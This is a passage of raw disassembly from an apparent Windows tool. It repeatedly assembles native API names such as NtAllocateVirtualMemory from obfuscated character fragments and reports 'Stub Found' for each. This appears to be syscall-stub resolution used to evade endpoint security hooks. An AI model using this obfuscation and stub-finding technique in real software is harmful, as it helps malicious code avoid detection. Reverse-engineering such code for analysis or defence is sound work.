lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0xe30]
mov rcx, qword [rbp + 0x3280]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x405e35
lea rsi, [0x0052c68f]
jmp 0x405e3c
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x0052c6bd]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0xe50]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x3278]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x406175
lea rsi, [0x0052c68f]
jmp 0x40617c
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x12ef]
lea rax, [rbp + 0x12c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x0052c6c1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x0052c6c3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x0052c6c7]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x0052c6c9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x0052c6cb]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x0052c6cd]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x12f0]
mov rcx, qword [rbp + 0x3270]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x4065e9
lea rsi, [0x0052c68f]
jmp 0x4065f0
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x163f]
lea rax, [rbp + 0x1610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x0052c6cf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x0052c6d1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x0052c6d3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x0052c6af]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1310]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x1640]
mov rcx, qword [rbp + 0x3268]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x406b0d
lea rsi, [0x0052c68f]
jmp 0x406b14
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x18cf]
lea rax, [rbp + 0x18a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x0052c6bd]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x0052c681]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1760]
lea rdx, [rbp + 0x1780]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1740]
lea rdx, [rbp + 0x1760]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1720]
lea rdx, [rbp + 0x1740]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1700]
lea rdx, [rbp + 0x1720]
lea r8, [0x0052c689]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x16e0]
lea rdx, [rbp + 0x1700]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1660]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1700]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1720]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x18d0]
mov rcx, qword [rbp + 0x3260]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x406f29
lea rsi, [0x0052c68f]
jmp 0x406f30
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x19df]
lea rax, [rbp + 0x19b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x0052c6b1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x18f0]
lea rdx, [rbp + 0x1910]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x18f0]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x19e0]
mov rcx, qword [rbp + 0x3258]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x407135
lea rsi, [0x0052c68f]
jmp 0x40713c
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x1baf]
lea rax, [rbp + 0x1b80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x0052c6c9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x0052c6d5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x0052c6af]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1a00]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x1bb0]
mov rcx, qword [rbp + 0x3250]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x407449
lea rsi, [0x0052c68f]
jmp 0x407450
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
